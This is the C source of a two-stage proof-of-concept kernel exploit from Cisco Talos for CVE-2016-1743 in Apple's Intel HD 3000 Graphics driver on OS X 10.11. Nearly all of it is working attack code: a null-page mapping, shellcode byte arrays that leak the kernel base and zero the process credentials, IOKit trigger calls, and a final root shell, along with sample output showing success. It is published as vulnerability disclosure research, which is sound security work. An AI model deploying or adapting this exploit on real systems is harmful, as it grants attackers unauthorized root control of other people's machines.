/*
 
░▀█▀░█▀█░█░░░█▀█░█▀▀░░░█░█░█░█░█░░░█▀█░█▀▄░█▀▀░█░█░
░░█░░█▀█░█░░░█░█░▀▀█░░░▀▄▀░█░█░█░░░█░█░█░█░█▀▀░▀▄▀░
░░▀░░▀░▀░▀▀▀░▀▀▀░▀▀▀░░░░▀░░▀▀▀░▀▀▀░▀░▀░▀▀░░▀▀▀░░▀░░
  T   A   L   O   S     V   U   L   N   D   E   V
 
Proof-of-Concept Exploit
Advisory: http://www.talosintel.com/reports/TALOS-2016-0088/
Snort rules: 37517, 37518
CVE-2016-1743
 
Author: Piotr Bania, Cisco Talos
Target: Apple Intel HD 3000 Graphics driver 
Impact: Local Privilege Escalation (root)
 
Tested Configuration: 
Apple Intel HD 3000 Graphics driver 10.0.0
Darwin Kernel Version 15.2.0
OSX 10.11.2
 
Compilation: 
gcc TALOS-2016-0088_poc.c lsym.m -o TALOS-2016-0088_poc -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3
 
kudos: 
qwertyoruiop (i've grabbed the lsym thing from you)
 
 
technical information (AppleIntelHD3000Graphics driver 10.0.0) :
...
__text:000000000001AA4E                 mov     ecx, [rcx]
__text:000000000001AA50                 add     ecx, ecx
__text:000000000001AA52                 sub     eax, ecx
__text:000000000001AA54                 cmp     rbx, rax
__text:000000000001AA57                 ja      loc_1AC8C
__text:000000000001AA5D                 mov     [rbp+var_54], esi
__text:000000000001AA60                 mov     rax, [rdi]
__text:000000000001AA63                 mov     esi, 168h
__text:000000000001AA68                 call    qword ptr [rax+980h]         ; # WE CAN CONTROL THIS #
 
 
Expected output:
 
mac-mini:bug mini$ uname -a
Darwin BLAs-Mac-mini 15.2.0 Darwin Kernel Version 15.2.0: Fri Nov 13 19:56:56 PST 2015; root:xnu-3248.20.55~2/RELEASE_X86_64 x86_64
 
mac-mini:bug mini$ ./TALOS-2016-0088_poc
---------------------------------------------------------------- 
APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 
by Piotr Bania / CISCO TALOS
---------------------------------------------------------------- 
 
 
Alloc: deallocating! 
Alloc: allocating 0x2000 (0x00000000 - 0x00002000)bytes
Alloc: vm_allocate ok, now vm_protect ...
Alloc: vm_allocate returned = 0 - addr = 0x00000000, vm_protect ok, filling
Mapping the kernel 
MapKernel: kernel mapped 
Initializing service 
InitService: Trying: Gen6Accelerator 
InitService: service ok! 
Commencing stage 1 
Stage1: Copying the stage1 payload 0x00001000 - 0x00001071 
Stage1: Setting up the RIP to 0x00001000 
Stage1: Copying trigger data 
Stage1: Making stage1 call
Stage1: leaked kernel address 0xffffff8021e00000 
Stage1: kernel address leaked, success! 
ResolveApi: using kernel addr 0xffffff8021e00000 (file base = 0xffffff8000200000) 
ResolveApi: _current_proc = 0xffffff8022437a60  
ResolveApi: _proc_ucred = 0xffffff80223a9af0  
ResolveApi: _posix_cred_get = 0xffffff802237e780  
ResolveApi: _chgproccnt = 0xffffff80223a8400  
Commencing stage 2 
Stage2: preparing the stage2 payload 
Stage2: Copying the stage2 payload 0x00001000 - 0x00001071 
Stage2: Setting up the RIP to 0x00001000 
Stage2: Copying trigger data 
Stage2: Making stage2 call
Stage2: success, got root! 
Stage2: now executing shell 
sh-3.2# whoami
root
sh-3.2# 
 
*/
 
 
#include "import.h"
 
/**
 
    defines
 
**/
 
#define MEM_SIZE                        0x2000
#define PAYLOAD_MEM_START               0x1000
#define INIT_SIG                        0x0210010100000008
#define OFFSET_PAYLOAD_EXEC             0x980
#define OFFSET_ROOM                     64
 
#define RESOLVE_SYMBOL_MY(map, name)    lsym_find_symbol(map, name) - base + KernelAddr
 
 
/**
 
    stage 1 payload - get kernel address and put it to 0x1000
 
 ; memory space for kernel address 
  
 nop
 nop
 nop
 nop
 nop
 nop
 nop
 nop
  
 save_regs64
  
  
    ; get msr entry
    mov     rcx, 0C0000082h     ;   lstar
    rdmsr                       ;   MSR[ecx] --> edx:eax
    shl     rdx, 32
    or      rax, rdx
       
    ; find kernel addr - scan backwards
MAX_KERNEL_SCAN_SIZE    equ 10000h    
KERNEL_SIG              equ 01000007FEEDFACFh
PAGE_SIZE               equ 1000h    
     
     
    mov     rcx, MAX_KERNEL_SCAN_SIZE
    and     rax, not 0FFFFFh
    xor     rdx, rdx
    mov     r8, KERNEL_SIG
     
  
scan_loop:
    sub     rax, PAGE_SIZE
    dec     rcx
    jz      scan_done
 
    ; is sig correct?
    cmp     qword [rax], r8
    jnz     scan_loop
     
    mov     rdx, rax
     
scan_done:    
     
    ; store the addr - rdx kernel addr, 0 if not found
    lea     rcx, [shell_start]
    mov     qword [rcx], rdx
  
 load_regs64
  
    xor     rax, rax
    xor     r15, r15
     
    ret
      
     
     
**/
 
unsigned char stage1[113] = {
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 
    0x41, 0x56, 0x41, 0x57, 0x48, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x32, 
    0x48, 0xC1, 0xE2, 0x20, 0x48, 0x09, 0xD0, 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x01, 0x00, 0x48, 0x25, 
    0x00, 0x00, 0xF0, 0xFF, 0x48, 0x31, 0xD2, 0x49, 0xB8, 0xCF, 0xFA, 0xED, 0xFE, 0x07, 0x00, 0x00, 
    0x01, 0x48, 0x2D, 0x00, 0x10, 0x00, 0x00, 0x48, 0xFF, 0xC9, 0x74, 0x08, 0x4C, 0x39, 0x00, 0x75, 
    0xF0, 0x48, 0x89, 0xC2, 0x48, 0x8D, 0x0D, 0xA5, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0x11, 0x41, 0x5F, 
    0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 
    0xC3
};
 
 
/**
 
    stage 2 payload - escalate
 
  jmp over_api_table
  
  
    api_current_proc    dq   0
    api_proc_ucred      dq   0
    api_posix_cred_get  dq   0
    api_chgproccnt      dq   0
  
  
  
 over_api_table:
 save_regs64   
     
       mov     rax, qword [api_current_proc]
    call    rax
    mov     rdi, rax        ; rdi = cur_proc
     
     
    ; system v abi - rdi first arg
    mov     rax, qword [api_proc_ucred]
    call    rax
     
     
    ; rax = cur_ucred
    mov     rdi, rax
    mov     rax, qword [api_posix_cred_get]
    call    rax
     
    ; rax = pcred
    mov     dword [rax], 0
    mov     dword [rax+8], 0
     
 load_regs64
  
    xor     rax, rax
    xor     r15, r15
     
    ret
     
**/
 
 
#define     OFF_API_START               2                   
#define     OFF_API_CURRENT_PROC        OFF_API_START
#define     OFF_API_PROC_UCRED          OFF_API_CURRENT_PROC    + 8
#define     OFF_API_POSIX_CRED_GET      OFF_API_PROC_UCRED      + 8
#define     OFF_API_CHGPROCCNT          OFF_API_POSIX_CRED_GET  + 8     // not used in this example
 
 
unsigned char stage2[111] = {
    0xEB, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 
    0x05, 0xCD, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC9, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xD0, 0x48, 0x89, 0xC7, 0x48, 0x8B, 0x05, 0xC5, 0xFF, 0xFF, 0xFF, 0xFF, 0xD0, 0xC7, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x40, 0x08, 0x00, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 
    0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 0xC3
};
 
 
 
/**
 
    globals
     
**/
 
uint64_t                mem;
io_connect_t            conn;
 
uint64_t                KernelAddr          =   0;
lsym_map_t*             MappingKernel       =   0;
 
uint64_t                api_current_proc    =   0;
uint64_t                api_proc_ucred      =   0;
uint64_t                api_posix_cred_get  =   0;
uint64_t                api_chgproccnt      =   0;
  
  
 
 
/**
 
    functions
     
**/
 
 
 
uint64_t Alloc(uint32_t addr, uint32_t sz) 
{
    mach_error_t    k_error;
     
    printf("Alloc: deallocating! \n");
    vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
     
    printf("Alloc: allocating 0x%x (0x%08x - 0x%08x) bytes\n", sz, addr, addr+sz);
    k_error = vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
     
    if (k_error != KERN_SUCCESS)
    {
         printf("Alloc: vm_allocate() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error);
         exit(-1);
    }
     
     
    printf("Alloc: vm_allocate ok, now vm_protect ...\n");
  
    k_error =  vm_protect(mach_task_self(), addr, sz, 0, 7); //rwx
        
    if (k_error != KERN_SUCCESS)
    {
         printf("Alloc: vm_protect() - failed with message %s (error = %d)!\n", mach_error_string(k_error), k_error);
         exit(-1);        
    }
      
    printf("Alloc: vm_allocate returned = %d - addr = 0x%08x, vm_protect ok, filling\n", k_error, addr);
    
    while(sz--) *(char*)(addr+sz)=0;
    return addr;
}
 
 
int MapKernel(void)
{
     
    MappingKernel   =   lsym_map_file("/mach_kernel");
    if (!MappingKernel || !MappingKernel->map) 
    {
        MappingKernel  =   lsym_map_file("/System/Library/Kernels/kernel");
    }
     
    if (!MappingKernel || !MappingKernel->map) 
    {
        printf("MapKernel: unable to map kernel, quiting \n");
        return -1;
    }
     
     
    printf("MapKernel: kernel mapped \n");
    return 1;
}
 
 
 
int ResolveApi(void)
{
     
  
    uint64_t        base                =   lsym_kernel_base(MappingKernel);
       
    api_current_proc    =   RESOLVE_SYMBOL_MY(MappingKernel, "_current_proc");
    api_proc_ucred      =   RESOLVE_SYMBOL_MY(MappingKernel, "_proc_ucred");   
    api_posix_cred_get  =   RESOLVE_SYMBOL_MY(MappingKernel, "_posix_cred_get");
    api_chgproccnt      =   RESOLVE_SYMBOL_MY(MappingKernel, "_chgproccnt");
   
    printf("ResolveApi: using kernel addr 0x%016llx (file base = 0x%016llx) \n", KernelAddr, base);
    printf("ResolveApi: _current_proc = 0x%016llx  \n", api_current_proc);
    printf("ResolveApi: _proc_ucred = 0x%016llx  \n", api_proc_ucred);
    printf("ResolveApi: _posix_cred_get = 0x%016llx  \n", api_posix_cred_get);
    printf("ResolveApi: _chgproccnt = 0x%016llx  \n", api_chgproccnt);
        
    return 1;
     
}
 
 
 
 
int InitService(char *IoServiceName)
{
    int                     type;
    io_service_t            service;
    CFMutableDictionaryRef  matching;
    io_iterator_t           iterator;    
     
    printf("InitService: Trying: %s \n", IoServiceName);
     
    matching = IOServiceMatching(IoServiceName);
     
    if( !matching) 
    {
        printf("Initservice: IOServiceMatching() failed \n");
        return -1;
    }
     
    if (IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator) != KERN_SUCCESS) 
    {
        printf("InitService: IOServiceGetMatchingServices failed \n");
        return -1;
    }
 
    
    service = IOIteratorNext(iterator);
    if (service == IO_OBJECT_NULL) 
    {
        printf("InitService: IOIteratorNext failed \n");
        return -1;
    }
     
     
    type        =   0;
    conn        =   MACH_PORT_NULL;
    if (IOServiceOpen(service, mach_task_self(), 5, &conn) != KERN_SUCCESS) 
    {
        printf("InitService: IOServiceOpen failed! \n");
        return -1;
    }
    
    printf("InitService: service ok! \n");
    return 1;
}
 
 
 
int Stage1(void)
{
    unsigned    char        *p;
    unsigned    char        *p_ptr;
     
    kern_return_t           k_error;
 
    char                    UselessStruct[4096];
    size_t                  UselessStructSize = 0x14; 
         
     
    p                   = (unsigned char*)mem; 
    p_ptr               = p + OFFSET_ROOM;
     
     
     
    printf("Stage1: Copying the stage1 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1));
    memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage1, sizeof(stage1));
 
    printf("Stage1: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START);
    *(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START;
     
     
    printf("Stage1: Copying trigger data \n");
    *(uint64_t*)p_ptr    =   INIT_SIG;
     
    printf("Stage1: Making stage1 call\n");    
    k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize); 
    
    KernelAddr      =   *(uint64_t*)PAYLOAD_MEM_START;
    printf("Stage1: leaked kernel address 0x%016llx \n", KernelAddr);
     
    if ((KernelAddr == 0) || (KernelAddr == 0x90909090)) 
    {
        printf("Stage1: fatal kernel address is wrong, exiting \n");
        return -1;
    }
     
    printf("Stage1: kernel address leaked, success! \n");
    return 1;
}
 
 
int Stage2(void)
{
    int         i;
    unsigned    char        *p;
    unsigned    char        *p_ptr;
     
    kern_return_t           k_error;
 
    char                    UselessStruct[4096];
    size_t                  UselessStructSize = 0x14; 
         
     
    p                   = (unsigned char*)mem; 
    p_ptr               = p + OFFSET_ROOM;
     
     
    printf("Stage2: preparing the stage2 payload \n");
 
    unsigned char *t                            =   (unsigned char*)&stage2;
    *(uint64_t*)(t + OFF_API_CURRENT_PROC)      =   api_current_proc;
    *(uint64_t*)(t + OFF_API_PROC_UCRED)        =   api_proc_ucred;
    *(uint64_t*)(t + OFF_API_POSIX_CRED_GET)    =   api_posix_cred_get;
    *(uint64_t*)(t + OFF_API_CHGPROCCNT)        =   api_chgproccnt;
    
     
    printf("Stage2: Copying the stage2 payload 0x%08x - 0x%08lx \n", PAYLOAD_MEM_START, PAYLOAD_MEM_START + sizeof(stage1));
    memcpy((void*)(p + PAYLOAD_MEM_START), (void*)&stage2, sizeof(stage2));
 
    printf("Stage2: Setting up the RIP to 0x%08x \n", PAYLOAD_MEM_START);
    *(uint64_t*)(p + OFFSET_PAYLOAD_EXEC) = PAYLOAD_MEM_START;
     
    
    printf("Stage2: Copying trigger data \n");
    *(uint64_t*)p_ptr    =   INIT_SIG;
     
  
    printf("Stage2: Making stage2 call\n");    
    k_error = IOConnectCallMethod(conn, 0x5, 0, 0, p_ptr, 0x8c, 0, 0, &UselessStruct, &UselessStructSize); 
    
     
    setuid(0);
    if (getuid() == 0) 
    {
         
        printf("Stage2: success, got root! \n");
        printf("Stage2: now executing shell \n");
   
        system("/bin/sh");
        exit(0);
    }
     
     
    printf("Stage2: failed! \n");
    return -1;    
 
}
 
 
 
 
int main(void)
{
    printf(" ---------------------------------------------------------------- \n");
    printf(" APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 \n"); 
    printf(" by Piotr Bania / CISCO TALOS \n");
    printf(" ---------------------------------------------------------------- \n\n\n");
     
     
    IOServiceClose(0);                      
    IOServiceOpen(0, 0, 0, 0);                 
     
    // if this fails and we are done 
    mem = Alloc(0, MEM_SIZE);
     
     
    printf("Mapping the kernel \n");
     
    if (MapKernel() == -1)
        return -1;
  
    printf("Initializing service \n");
     
    if (InitService("Gen6Accelerator") == -1)
        return -1;
     
    printf("Commencing stage 1 \n");
     
    if (Stage1() == -1)
        return -1;
 
    if (ResolveApi() == -1)
        return -1;
 
    printf("Commencing stage 2 \n");
      
    Stage2();
  
  
    return 1;
}